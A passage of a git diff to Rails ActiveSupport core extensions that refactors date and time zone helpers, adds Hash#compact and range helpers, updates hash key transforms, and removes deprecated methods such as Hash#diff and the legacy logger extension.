       date.strftime("%B #{day_format}, %Y") # => "April 25th, 2007"
     },
-    :rfc822       => '%e %b %Y'
+    :rfc822       => '%e %b %Y',
+    :iso8601      => lambda { |date| date.iso8601 }
   }
 
   # Ruby 1.9 has Date#to_time which converts to localtime only.
   remove_method :to_time
 
-  # Ruby 1.9 has Date#xmlschema which converts to a string without the time component.
-  remove_method :xmlschema
+  # Ruby 1.9 has Date#xmlschema which converts to a string without the time
+  # component. This removal may generate an issue on FreeBSD, that's why we
+  # need to use remove_possible_method here
+  remove_possible_method :xmlschema
 
   # Convert to a formatted string. See DATE_FORMATS for predefined formats.
   #
@@ -35,13 +38,14 @@ class Date
   #   date.to_formatted_s(:long)          # => "November 10, 2007"
   #   date.to_formatted_s(:long_ordinal)  # => "November 10th, 2007"
   #   date.to_formatted_s(:rfc822)        # => "10 Nov 2007"
+  #   date.to_formatted_s(:iso8601)       # => "2007-11-10"
   #
-  # == Adding your own time formats to to_formatted_s
+  # == Adding your own date formats to to_formatted_s
   # You can add your own formats to the Date::DATE_FORMATS hash.
   # Use the format name as the hash key and either a strftime string
   # or Proc instance that takes a date argument as the value.
   #
-  #   # config/initializers/time_formats.rb
+  #   # config/initializers/date_formats.rb
   #   Date::DATE_FORMATS[:month_and_year] = '%B %Y'
   #   Date::DATE_FORMATS[:short_ordinal] = ->(date) { date.strftime("%B #{date.day.ordinalize}") }
   def to_formatted_s(format = :default)
diff --git a/activesupport/lib/active_support/core_ext/date/zones.rb b/activesupport/lib/active_support/core_ext/date/zones.rb
index b454867..d109b43 100644
--- a/activesupport/lib/active_support/core_ext/date/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date/zones.rb
@@ -1,37 +1,6 @@
 require 'date'
-require 'active_support/core_ext/time/zones'
+require 'active_support/core_ext/date_and_time/zones'
 
 class Date
-  # *DEPRECATED*: Use +Date#in_time_zone+ instead.
-  #
-  # Converts Date to a TimeWithZone in the current zone if <tt>Time.zone</tt> or
-  # <tt>Time.zone_default</tt> is set, otherwise converts Date to a Time via
-  # Date#to_time.
-  def to_time_in_current_zone
-    ActiveSupport::Deprecation.warn 'Date#to_time_in_current_zone is deprecated. Use Date#in_time_zone instead', caller
-
-    if ::Time.zone
-      ::Time.zone.local(year, month, day)
-    else
-      to_time
-    end
-  end
-
-  # Converts Date to a TimeWithZone in the current zone if Time.zone or Time.zone_default
-  # is set, otherwise converts Date to a Time via Date#to_time
-  #
-  #   Time.zone = 'Hawaii'         # => 'Hawaii'
-  #   Date.new(2000).in_time_zone  # => Sat, 01 Jan 2000 00:00:00 HST -10:00
-  #
-  # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
-  # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
-  #
-  #   Date.new(2000).in_time_zone('Alaska')  # => Sat, 01 Jan 2000 00:00:00 AKST -09:00
-  def in_time_zone(zone = ::Time.zone)
-    if zone
-      ::Time.find_zone!(zone).local(year, month, day)
-    else
-      to_time
-    end
-  end
+  include DateAndTime::Zones
 end
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
index 0d14cba..b85e49a 100644
--- a/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_and_time/calculations.rb
@@ -78,7 +78,7 @@ module DateAndTime
     # Returns a new date/time at the start of the month.
     # DateTime objects will have a time set to 0:00.
     def beginning_of_month
-      first_hour{ change(:day => 1) }
+      first_hour(change(:day => 1))
     end
     alias :at_beginning_of_month :beginning_of_month
 
@@ -113,7 +113,7 @@ module DateAndTime
     # which is determined by +Date.beginning_of_week+ or +config.beginning_of_week+
     # when set. +DateTime+ objects have their time set to 0:00.
     def next_week(given_day_in_next_week = Date.beginning_of_week)
-      first_hour{ weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)) }
+      first_hour(weeks_since(1).beginning_of_week.days_since(days_span(given_day_in_next_week)))
     end
 
     # Short-hand for months_since(1).
@@ -136,7 +136,7 @@ module DateAndTime
     # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
     # DateTime objects have their time set to 0:00.
     def prev_week(start_day = Date.beginning_of_week)
-      first_hour{ weeks_ago(1).beginning_of_week.days_since(days_span(start_day)) }
+      first_hour(weeks_ago(1).beginning_of_week.days_since(days_span(start_day)))
     end
     alias_method :last_week, :prev_week
 
@@ -188,7 +188,7 @@ module DateAndTime
     # +Date.beginning_of_week+ or +config.beginning_of_week+ when set.
     # DateTime objects have their time set to 23:59:59.
     def end_of_week(start_day = Date.beginning_of_week)
-      last_hour{ days_since(6 - days_to_week_start(start_day)) }
+      last_hour(days_since(6 - days_to_week_start(start_day)))
     end
     alias :at_end_of_week :end_of_week
 
@@ -202,7 +202,7 @@ module DateAndTime
     # DateTime objects will have a time set to 23:59:59.
     def end_of_month
       last_day = ::Time.days_in_month(month, year)
-      last_hour{ days_since(last_day - day) }
+      last_hour(days_since(last_day - day))
     end
     alias :at_end_of_month :end_of_month
 
@@ -213,16 +213,35 @@ module DateAndTime
     end
     alias :at_end_of_year :end_of_year
 
+    # Returns a Range representing the whole week of the current date/time.
+    # Week starts on start_day, default is <tt>Date.week_start</tt> or <tt>config.week_start</tt> when set.
+    def all_week(start_day = Date.beginning_of_week)
+      beginning_of_week(start_day)..end_of_week(start_day)
+    end
+
+    # Returns a Range representing the whole month of the current date/time.
+    def all_month
+      beginning_of_month..end_of_month
+    end
+
+    # Returns a Range representing the whole quarter of the current date/time.
+    def all_quarter
+      beginning_of_quarter..end_of_quarter
+    end
+
+    # Returns a Range representing the whole year of the current date/time.
+    def all_year
+      beginning_of_year..end_of_year
+    end
+
     private
 
-    def first_hour
-      result = yield
-      acts_like?(:time) ? result.change(:hour => 0) : result
+    def first_hour(date_or_time)
+      date_or_time.acts_like?(:time) ? date_or_time.beginning_of_day : date_or_time
     end
 
-    def last_hour
-      result = yield
-      acts_like?(:time) ? result.end_of_day : result
+    def last_hour(date_or_time)
+      date_or_time.acts_like?(:time) ? date_or_time.end_of_day : date_or_time
     end
 
     def days_span(day)
diff --git a/activesupport/lib/active_support/core_ext/date_and_time/zones.rb b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
new file mode 100644
index 0000000..96c6df9
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/date_and_time/zones.rb
@@ -0,0 +1,41 @@
+module DateAndTime
+  module Zones
+    # Returns the simultaneous time in <tt>Time.zone</tt> if a zone is given or
+    # if Time.zone_default is set. Otherwise, it returns the current time.
+    #
+    #   Time.zone = 'Hawaii'        # => 'Hawaii'
+    #   DateTime.utc(2000).in_time_zone # => Fri, 31 Dec 1999 14:00:00 HST -10:00
+    #   Date.new(2000).in_time_zone  # => Sat, 01 Jan 2000 00:00:00 HST -10:00
+    #
+    # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt> as the local zone
+    # instead of the operating system's time zone.
+    #
+    # You can also pass in a TimeZone instance or string that identifies a TimeZone as an argument,
+    # and the conversion will be based on that zone instead of <tt>Time.zone</tt>.
+    #
+    #   Time.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+    #   DateTime.utc(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
+    #   Date.new(2000).in_time_zone('Alaska')  # => Sat, 01 Jan 2000 00:00:00 AKST -09:00
+    def in_time_zone(zone = ::Time.zone)
+      time_zone = ::Time.find_zone! zone
+      time = acts_like?(:time) ? self : nil
+
+      if time_zone
+        time_with_zone(time, time_zone)
+      else
+        time || self.to_time
+      end
+    end
+
+    private
+
+    def time_with_zone(time, zone)
+      if time
+        ActiveSupport::TimeWithZone.new(time.utc? ? time : time.getutc, zone)
+      else
+        ActiveSupport::TimeWithZone.new(nil, zone, to_time(:utc))
+      end
+    end
+  end
+end
+
diff --git a/activesupport/lib/active_support/core_ext/date_time/calculations.rb b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
index 3e22f19..73ad0aa 100644
--- a/activesupport/lib/active_support/core_ext/date_time/calculations.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/calculations.rb
@@ -1,14 +1,7 @@
-require 'active_support/deprecation'
+require 'date'
 
 class DateTime
   class << self
-    # *DEPRECATED*: Use +DateTime.civil_from_format+ directly.
-    def local_offset
-      ActiveSupport::Deprecation.warn 'DateTime.local_offset is deprecated. Use DateTime.civil_from_format directly.'
-
-      ::Time.local(2012).utc_offset.to_r / 86400
-    end
-
     # Returns <tt>Time.zone.now.to_datetime</tt> when <tt>Time.zone</tt> or
     # <tt>config.time_zone</tt> are set, otherwise returns
     # <tt>Time.now.to_datetime</tt>.
@@ -17,16 +10,6 @@ class DateTime
     end
   end
 
-  # Tells whether the DateTime object's datetime lies in the past.
-  def past?
-    self < ::DateTime.current
-  end
-
-  # Tells whether the DateTime object's datetime lies in the future.
-  def future?
-    self > ::DateTime.current
-  end
-
   # Seconds since midnight: DateTime.now.seconds_since_midnight.
   def seconds_since_midnight
     sec + (min * 60) + (hour * 3600)
@@ -106,6 +89,16 @@ class DateTime
   alias :at_midnight :beginning_of_day
   alias :at_beginning_of_day :beginning_of_day
 
+  # Returns a new DateTime representing the middle of the day (12:00)
+  def middle_of_day
+    change(:hour => 12)
+  end
+  alias :midday :middle_of_day
+  alias :noon :middle_of_day
+  alias :at_midday :middle_of_day
+  alias :at_noon :middle_of_day
+  alias :at_middle_of_day :middle_of_day
+
   # Returns a new DateTime representing the end of the day (23:59:59).
   def end_of_day
     change(:hour => 23, :min => 59, :sec => 59)
@@ -158,7 +151,11 @@ class DateTime
   # Layers additional behavior on DateTime#<=> so that Time and
   # ActiveSupport::TimeWithZone instances can be compared with a DateTime.
   def <=>(other)
-    super other.to_datetime
+    if other.respond_to? :to_datetime
+      super other.to_datetime
+    else
+      nil
+    end
   end
 
 end
diff --git a/activesupport/lib/active_support/core_ext/date_time/conversions.rb b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
index ccc27b4..6ddfb72 100644
--- a/activesupport/lib/active_support/core_ext/date_time/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/conversions.rb
@@ -1,3 +1,4 @@
+require 'date'
 require 'active_support/inflector/methods'
 require 'active_support/core_ext/time/conversions'
 require 'active_support/core_ext/date_time/calculations'
@@ -18,6 +19,7 @@ class DateTime
   #   datetime.to_formatted_s(:long)          # => "December 04, 2007 00:00"
   #   datetime.to_formatted_s(:long_ordinal)  # => "December 4th, 2007 00:00"
   #   datetime.to_formatted_s(:rfc822)        # => "Tue, 04 Dec 2007 00:00:00 +0000"
+  #   datetime.to_formatted_s(:iso8601)       # => "2007-12-04T00:00:00+00:00"
   #
   # == Adding your own datetime formats to to_formatted_s
   # DateTime formats are shared with Time. You can add your own to the
diff --git a/activesupport/lib/active_support/core_ext/date_time/zones.rb b/activesupport/lib/active_support/core_ext/date_time/zones.rb
index 6457ffb..c39f358 100644
--- a/activesupport/lib/active_support/core_ext/date_time/zones.rb
+++ b/activesupport/lib/active_support/core_ext/date_time/zones.rb
@@ -1,24 +1,6 @@
-require 'active_support/core_ext/time/zones'
+require 'date'
+require 'active_support/core_ext/date_and_time/zones'
 
 class DateTime
-  # Returns the simultaneous time in <tt>Time.zone</tt>.
-  #
-  #   Time.zone = 'Hawaii'             # => 'Hawaii'
-  #   DateTime.new(2000).in_time_zone  # => Fri, 31 Dec 1999 14:00:00 HST -10:00
-  #
-  # This method is similar to Time#localtime, except that it uses <tt>Time.zone</tt>
-  # as the local zone instead of the operating system's time zone.
-  #
-  # You can also pass in a TimeZone instance or string that identifies a TimeZone
-  # as an argument, and the conversion will be based on that zone instead of
-  # <tt>Time.zone</tt>.
-  #
-  #   DateTime.new(2000).in_time_zone('Alaska') # => Fri, 31 Dec 1999 15:00:00 AKST -09:00
-  def in_time_zone(zone = ::Time.zone)
-    if zone
-      ActiveSupport::TimeWithZone.new(utc? ? self : getutc, ::Time.find_zone!(zone))
-    else
-      self
-    end
-  end
+  include DateAndTime::Zones
 end
diff --git a/activesupport/lib/active_support/core_ext/enumerable.rb b/activesupport/lib/active_support/core_ext/enumerable.rb
index 4501b7f..1343beb 100644
--- a/activesupport/lib/active_support/core_ext/enumerable.rb
+++ b/activesupport/lib/active_support/core_ext/enumerable.rb
@@ -35,7 +35,7 @@ module Enumerable
     if block_given?
       Hash[map { |elem| [yield(elem), elem] }]
     else
-      to_enum :index_by
+      to_enum(:index_by) { size if respond_to?(:size) }
     end
   end
 
diff --git a/activesupport/lib/active_support/core_ext/file/atomic.rb b/activesupport/lib/active_support/core_ext/file/atomic.rb
index c3e6124..0e7e3ba 100644
--- a/activesupport/lib/active_support/core_ext/file/atomic.rb
+++ b/activesupport/lib/active_support/core_ext/file/atomic.rb
@@ -23,7 +23,7 @@ class File
     yield temp_file
     temp_file.close
 
-    if File.exists?(file_name)
+    if File.exist?(file_name)
       # Get original file permissions
       old_stat = stat(file_name)
     else
diff --git a/activesupport/lib/active_support/core_ext/hash.rb b/activesupport/lib/active_support/core_ext/hash.rb
index 5014834..f68e166 100644
--- a/activesupport/lib/active_support/core_ext/hash.rb
+++ b/activesupport/lib/active_support/core_ext/hash.rb
@@ -1,6 +1,6 @@
+require 'active_support/core_ext/hash/compact'
 require 'active_support/core_ext/hash/conversions'
 require 'active_support/core_ext/hash/deep_merge'
-require 'active_support/core_ext/hash/diff'
 require 'active_support/core_ext/hash/except'
 require 'active_support/core_ext/hash/indifferent_access'
 require 'active_support/core_ext/hash/keys'
diff --git a/activesupport/lib/active_support/core_ext/hash/compact.rb b/activesupport/lib/active_support/core_ext/hash/compact.rb
new file mode 100644
index 0000000..6566215
--- /dev/null
+++ b/activesupport/lib/active_support/core_ext/hash/compact.rb
@@ -0,0 +1,20 @@
+class Hash
+  # Returns a hash with non +nil+ values.
+  # 
+  #   hash = { a: true, b: false, c: nil}
+  #   hash.compact # => { a: true, b: false}
+  #   hash # => { a: true, b: false, c: nil}
+  #   { c: nil }.compact # => {}
+  def compact
+    self.select { |_, value| !value.nil? }
+  end
+  
+  # Replaces current hash with non +nil+ values.
+  # 
+  #   hash = { a: true, b: false, c: nil}
+  #   hash.compact! # => { a: true, b: false}
+  #   hash # => { a: true, b: false}
+  def compact!
+    self.reject! { |_, value| value.nil? }
+  end
+end
diff --git a/activesupport/lib/active_support/core_ext/hash/conversions.rb b/activesupport/lib/active_support/core_ext/hash/conversions.rb
index 8930376..7bea461 100644
--- a/activesupport/lib/active_support/core_ext/hash/conversions.rb
+++ b/activesupport/lib/active_support/core_ext/hash/conversions.rb
@@ -10,7 +10,7 @@ require 'active_support/core_ext/string/inflections'
 class Hash
   # Returns a string containing an XML representation of its receiver:
   #
-  #   {'foo' => 1, 'bar' => 2}.to_xml
+  #   { foo: 1, bar: 2 }.to_xml
   #   # =>
   #   # <?xml version="1.0" encoding="UTF-8"?>
   #   # <hash>
@@ -43,7 +43,10 @@ class Hash
   #     end
   #
   #     { foo: Foo.new }.to_xml(skip_instruct: true)
-  #     # => "<hash><bar>fooing!</bar></hash>"
+  #     # =>
+  #     # <hash>
+  #     #   <bar>fooing!</bar>
+  #     # </hash>
   #
   # * Otherwise, a node with +key+ as tag is created with a string representation of
   #   +value+ as text node. If +value+ is +nil+ an attribute "nil" set to "true" is added.
@@ -102,7 +105,7 @@ class Hash
     #   hash = Hash.from_xml(xml)
     #   # => {"hash"=>{"foo"=>1, "bar"=>2}}
     #
-    # DisallowedType is raise if the XML contains attributes with <tt>type="yaml"</tt> or
+    # DisallowedType is raised if the XML contains attributes with <tt>type="yaml"</tt> or
     # <tt>type="symbol"</tt>. Use <tt>Hash.from_trusted_xml</tt> to parse this XML.
     def from_xml(xml, disallowed_types = nil)
       ActiveSupport::XMLConverter.new(xml, disallowed_types).to_h
@@ -201,7 +204,7 @@ module ActiveSupport
       end
 
       def become_empty_string?(value)
-        # {"string" => true}
+        # { "string" => true }
         # No tests fail when the second term is removed.
         value['type'] == 'string' && value['nil'] != 'true'
       end
diff --git a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
index e07db50..763d563 100644
--- a/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
+++ b/activesupport/lib/active_support/core_ext/hash/deep_merge.rb
@@ -1,27 +1,38 @@
 class Hash
   # Returns a new hash with +self+ and +other_hash+ merged recursively.
   #
-  #   h1 = { x: { y: [4,5,6] }, z: [7,8,9] }
-  #   h2 = { x: { y: [7,8,9] }, z: 'xyz' }
+  #   h1 = { a: true, b: { c: [1, 2, 3] } }
+  #   h2 = { a: false, b: { x: [3, 4, 5] } }
   #
-  #   h1.deep_merge(h2) #=> {x: {y: [7, 8, 9]}, z: "xyz"}
-  #   h2.deep_merge(h1) #=> {x: {y: [4, 5, 6]}, z: [7, 8, 9]}
-  #   h1.deep_merge(h2) { |key, old, new| Array.wrap(old) + Array.wrap(new) }
-  #   #=> {:x=>{:y=>[4, 5, 6, 7, 8, 9]}, :z=>[7, 8, 9, "xyz"]}
+  #   h1.deep_merge(h2) #=> { a: false, b: { c: [1, 2, 3], x: [3, 4, 5] } }
+  #
+  # Like with Hash#merge in the standard library, a block can be provided
+  # to merge values:
+  #
+  #   h1 = { a: 100, b: 200, c: { c1: 100 } }
+  #   h2 = { b: 250, c: { c1: 200 } }
+  #   h1.deep_merge(h2) { |key, this_val, other_val| this_val + other_val }
+  #   # => { a: 100, b: 450, c: { c1: 300 } }
   def deep_merge(other_hash, &block)
     dup.deep_merge!(other_hash, &block)
   end
 
   # Same as +deep_merge+, but modifies +self+.
   def deep_merge!(other_hash, &block)
-    other_hash.each_pair do |k,v|
-      tv = self[k]
-      if tv.is_a?(Hash) && v.is_a?(Hash)
-        self[k] = tv.deep_merge(v, &block)
+    other_hash.each_pair do |current_key, other_value|
+      this_value = self[current_key]
+
+      self[current_key] = if this_value.is_a?(Hash) && other_value.is_a?(Hash)
+        this_value.deep_merge(other_value, &block)
       else
-        self[k] = block && tv ? block.call(k, tv, v) : v
+        if block_given? && key?(current_key)
+          block.call(current_key, this_value, other_value)
+        else
+          other_value
+        end
       end
     end
+
     self
   end
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/diff.rb b/activesupport/lib/active_support/core_ext/hash/diff.rb
deleted file mode 100644
index 5f3868b..0000000
--- a/activesupport/lib/active_support/core_ext/hash/diff.rb
+++ /dev/null
@@ -1,14 +0,0 @@
-class Hash
-  # Returns a hash that represents the difference between two hashes.
-  #
-  #   {1 => 2}.diff(1 => 2)         # => {}
-  #   {1 => 2}.diff(1 => 3)         # => {1 => 2}
-  #   {}.diff(1 => 2)               # => {1 => 2}
-  #   {1 => 2, 3 => 4}.diff(1 => 2) # => {3 => 4}
-  def diff(other)
-    ActiveSupport::Deprecation.warn "Hash#diff is no longer used inside of Rails, and is being deprecated with no replacement. If you're using it to compare hashes for the purpose of testing, please use MiniTest's assert_equal instead."
-    dup.
-      delete_if { |k, v| other[k] == v }.
-      merge!(other.dup.delete_if { |k, v| has_key?(k) })
-  end
-end
diff --git a/activesupport/lib/active_support/core_ext/hash/except.rb b/activesupport/lib/active_support/core_ext/hash/except.rb
index d90e996..682d089 100644
--- a/activesupport/lib/active_support/core_ext/hash/except.rb
+++ b/activesupport/lib/active_support/core_ext/hash/except.rb
@@ -1,5 +1,5 @@
 class Hash
-  # Return a hash that includes everything but the given keys. This is useful for
+  # Returns a hash that includes everything but the given keys. This is useful for
   # limiting a set of parameters to everything but a few known toggles:
   #
   #   @person.update(params[:person].except(:admin))
diff --git a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
index 981e843..970d6fa 100644
--- a/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
+++ b/activesupport/lib/active_support/core_ext/hash/indifferent_access.rb
@@ -18,5 +18,6 @@ class Hash
   #
   #   b = { b: 1 }
   #   { a: b }.with_indifferent_access['a'] # calls b.nested_under_indifferent_access
+  #   # => {"b"=>32}
   alias nested_under_indifferent_access with_indifferent_access
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/keys.rb b/activesupport/lib/active_support/core_ext/hash/keys.rb
index b4c451a..28536e3 100644
--- a/activesupport/lib/active_support/core_ext/hash/keys.rb
+++ b/activesupport/lib/active_support/core_ext/hash/keys.rb
@@ -1,10 +1,10 @@
 class Hash
-  # Return a new hash with all keys converted using the block operation.
+  # Returns a new hash with all keys converted using the block operation.
   #
   #  hash = { name: 'Rob', age: '28' }
   #
   #  hash.transform_keys{ |key| key.to_s.upcase }
-  #  # => { "NAME" => "Rob", "AGE" => "28" }
+  #  # => {"NAME"=>"Rob", "AGE"=>"28"}
   def transform_keys
     result = {}
     each_key do |key|
@@ -22,12 +22,12 @@ class Hash
     self
   end
 
-  # Return a new hash with all keys converted to strings.
+  # Returns a new hash with all keys converted to strings.
   #
   #   hash = { name: 'Rob', age: '28' }
   #
   #   hash.stringify_keys
-  #   #=> { "name" => "Rob", "age" => "28" }
+  #   # => { "name" => "Rob", "age" => "28" }
   def stringify_keys
     transform_keys{ |key| key.to_s }
   end
@@ -38,13 +38,13 @@ class Hash
     transform_keys!{ |key| key.to_s }
   end
 
-  # Return a new hash with all keys converted to symbols, as long as
+  # Returns a new hash with all keys converted to symbols, as long as
   # they respond to +to_sym+.
   #
   #   hash = { 'name' => 'Rob', 'age' => '28' }
   #
   #   hash.symbolize_keys
-  #   #=> { name: "Rob", age: "28" }
+  #   # => { name: "Rob", age: "28" }
   def symbolize_keys
     transform_keys{ |key| key.to_sym rescue key }
   end
@@ -61,78 +61,102 @@ class Hash
   # on a mismatch. Note that keys are NOT treated indifferently, meaning if you
   # use strings for keys but assert symbols as keys, this will fail.
   #
-  #   { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: years"
-  #   { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: name"
+  #   { name: 'Rob', years: '28' }.assert_valid_keys(:name, :age) # => raises "ArgumentError: Unknown key: :years. Valid keys are: :name, :age"
+  #   { name: 'Rob', age: '28' }.assert_valid_keys('name', 'age') # => raises "ArgumentError: Unknown key: :name. Valid keys are: 'name', 'age'"
   #   { name: 'Rob', age: '28' }.assert_valid_keys(:name, :age)   # => passes, raises nothing
   def assert_valid_keys(*valid_keys)
     valid_keys.flatten!
     each_key do |k|
-      raise ArgumentError.new("Unknown key: #{k}") unless valid_keys.include?(k)
+      unless valid_keys.include?(k)
+        raise ArgumentError.new("Unknown key: #{k.inspect}. Valid keys are: #{valid_keys.map(&:inspect).join(', ')}")
+      end
     end
   end
 
-  # Return a new hash with all keys converted by the block operation.
+  # Returns a new hash with all keys converted by the block operation.
   # This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   #
   #  hash = { person: { name: 'Rob', age: '28' } }
   #
   #  hash.deep_transform_keys{ |key| key.to_s.upcase }
-  #  # => { "PERSON" => { "NAME" => "Rob", "AGE" => "28" } }
+  #  # => {"PERSON"=>{"NAME"=>"Rob", "AGE"=>"28"}}
   def deep_transform_keys(&block)
-    result = {}
-    each do |key, value|
-      result[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys(&block) : value
-    end
-    result
+    _deep_transform_keys_in_object(self, &block)
   end
 
   # Destructively convert all keys by using the block operation.
   # This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   def deep_transform_keys!(&block)
-    keys.each do |key|
-      value = delete(key)
-      self[yield(key)] = value.is_a?(Hash) ? value.deep_transform_keys!(&block) : value
-    end
-    self
+    _deep_transform_keys_in_object!(self, &block)
   end
 
-  # Return a new hash with all keys converted to strings.
+  # Returns a new hash with all keys converted to strings.
   # This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   #
   #   hash = { person: { name: 'Rob', age: '28' } }
   #
   #   hash.deep_stringify_keys
-  #   # => { "person" => { "name" => "Rob", "age" => "28" } }
+  #   # => {"person"=>{"name"=>"Rob", "age"=>"28"}}
   def deep_stringify_keys
     deep_transform_keys{ |key| key.to_s }
   end
 
   # Destructively convert all keys to strings.
   # This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   def deep_stringify_keys!
     deep_transform_keys!{ |key| key.to_s }
   end
 
-  # Return a new hash with all keys converted to symbols, as long as
+  # Returns a new hash with all keys converted to symbols, as long as
   # they respond to +to_sym+. This includes the keys from the root hash
-  # and from all nested hashes.
+  # and from all nested hashes and arrays.
   #
   #   hash = { 'person' => { 'name' => 'Rob', 'age' => '28' } }
   #
   #   hash.deep_symbolize_keys
-  #   # => { person: { name: "Rob", age: "28" } }
+  #   # => {:person=>{:name=>"Rob", :age=>"28"}}
   def deep_symbolize_keys
     deep_transform_keys{ |key| key.to_sym rescue key }
   end
 
   # Destructively convert all keys to symbols, as long as they respond
   # to +to_sym+. This includes the keys from the root hash and from all
-  # nested hashes.
+  # nested hashes and arrays.
   def deep_symbolize_keys!
     deep_transform_keys!{ |key| key.to_sym rescue key }
   end
+
+  private
+    # support methods for deep transforming nested hashes and arrays
+    def _deep_transform_keys_in_object(object, &block)
+      case object
+      when Hash
+        object.each_with_object({}) do |(key, value), result|
+          result[yield(key)] = _deep_transform_keys_in_object(value, &block)
+        end
+      when Array
+        object.map {|e| _deep_transform_keys_in_object(e, &block) }
+      else
+        object
+      end
+    end
+
+    def _deep_transform_keys_in_object!(object, &block)
+      case object
+      when Hash
+        object.keys.each do |key|
+          value = object.delete(key)
+          object[yield(key)] = _deep_transform_keys_in_object!(value, &block)
+        end
+        object
+      when Array
+        object.map! {|e| _deep_transform_keys_in_object!(e, &block)}
+      else
+        object
+      end
+    end
 end
diff --git a/activesupport/lib/active_support/core_ext/hash/slice.rb b/activesupport/lib/active_support/core_ext/hash/slice.rb
index 9fa9b3d..8ad600b 100644
--- a/activesupport/lib/active_support/core_ext/hash/slice.rb
+++ b/activesupport/lib/active_support/core_ext/hash/slice.rb
@@ -26,6 +26,8 @@ class Hash
     keys.map! { |key| convert_key(key) } if respond_to?(:convert_key, true)
     omit = slice(*self.keys - keys)
     hash = slice(*keys)
+    hash.default      = default
+    hash.default_proc = default_proc if default_proc
     replace(hash)
     omit
   end
diff --git a/activesupport/lib/active_support/core_ext/integer/multiple.rb b/activesupport/lib/active_support/core_ext/integer/multiple.rb
index 7c6c2f1..c668c7c 100644
--- a/activesupport/lib/active_support/core_ext/integer/multiple.rb
+++ b/activesupport/lib/active_support/core_ext/integer/multiple.rb
@@ -1,9 +1,9 @@
 class Integer
   # Check whether the integer is evenly divisible by the argument.
   #
-  #   0.multiple_of?(0)  #=> true
-  #   6.multiple_of?(5)  #=> false
-  #   10.multiple_of?(2) #=> true
+  #   0.multiple_of?(0)  # => true
+  #   6.multiple_of?(5)  # => false
+  #   10.multiple_of?(2) # => true
   def multiple_of?(number)
     number != 0 ? self % number == 0 : zero?
   end
diff --git a/activesupport/lib/active_support/core_ext/kernel/reporting.rb b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
index 79d3303..3b5e205 100644
--- a/activesupport/lib/active_support/core_ext/kernel/reporting.rb
+++ b/activesupport/lib/active_support/core_ext/kernel/reporting.rb
@@ -48,6 +48,7 @@ module Kernel
     yield
   ensure
     stream.reopen(old_stream)
+    old_stream.close
   end
 
   # Blocks and ignores any exception passed as argument if raised within the block.
@@ -60,8 +61,7 @@ module Kernel
   #   puts 'This code gets executed and nothing related to ZeroDivisionError was seen'
   def suppress(*exception_classes)
     yield
-  rescue Exception => e
-    raise unless exception_classes.any? { |cls| e.kind_of?(cls) }
+  rescue *exception_classes
   end
 
   # Captures the given stream and returns it:
@@ -91,6 +91,7 @@ module Kernel
     stream_io.rewind
     return captured_stream.read
   ensure
+    captured_stream.close
     captured_stream.unlink
     stream_io.reopen(origin_stream)
   end
diff --git a/activesupport/lib/active_support/core_ext/logger.rb b/activesupport/lib/active_support/core_ext/logger.rb
deleted file mode 100644
index 34de766..0000000
--- a/activesupport/lib/active_support/core_ext/logger.rb
+++ /dev/null
@@ -1,67 +0,0 @@
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/deprecation'
-require 'active_support/logger_silence'
-
-ActiveSupport::Deprecation.warn 'this file is deprecated and will be removed'
-
-# Adds the 'around_level' method to Logger.
-class Logger #:nodoc:
-  def self.define_around_helper(level)
-    module_eval <<-end_eval, __FILE__, __LINE__ + 1
-      def around_#{level}(before_message, after_message)  # def around_debug(before_message, after_message, &block)
-        self.#{level}(before_message)                     #   self.debug(before_message)
-        return_value = yield(self)                        #   return_value = yield(self)
-        self.#{level}(after_message)                      #   self.debug(after_message)
-        return_value                                      #   return_value
-      end                                                 # end
-    end_eval
-  end
-  [:debug, :info, :error, :fatal].each {|level| define_around_helper(level) }
-end
-
-require 'logger'
-
-# Extensions to the built-in Ruby logger.
-#
-# If you want to use the default log formatter as defined in the Ruby core, then you
-# will need to set the formatter for the logger as in:
-#
-#   logger.formatter = Formatter.new
-#
-# You can then specify the datetime format, for example:
-#
-#   logger.datetime_format = "%Y-%m-%d"
-#
-# Note: This logger is deprecated in favor of ActiveSupport::Logger
-class Logger
-  include LoggerSilence
-
-  alias :old_datetime_format= :datetime_format=
-  # Logging date-time format (string passed to +strftime+). Ignored if the formatter
-  # does not respond to datetime_format=.
-  def datetime_format=(format)
-    formatter.datetime_format = format if formatter.respond_to?(:datetime_format=)
-  end
-
-  alias :old_datetime_format :datetime_format
-  # Get the logging datetime format. Returns nil if the formatter does not support
-  # datetime formatting.
-  def datetime_format
-    formatter.datetime_format if formatter.respond_to?(:datetime_format)
-  end
-
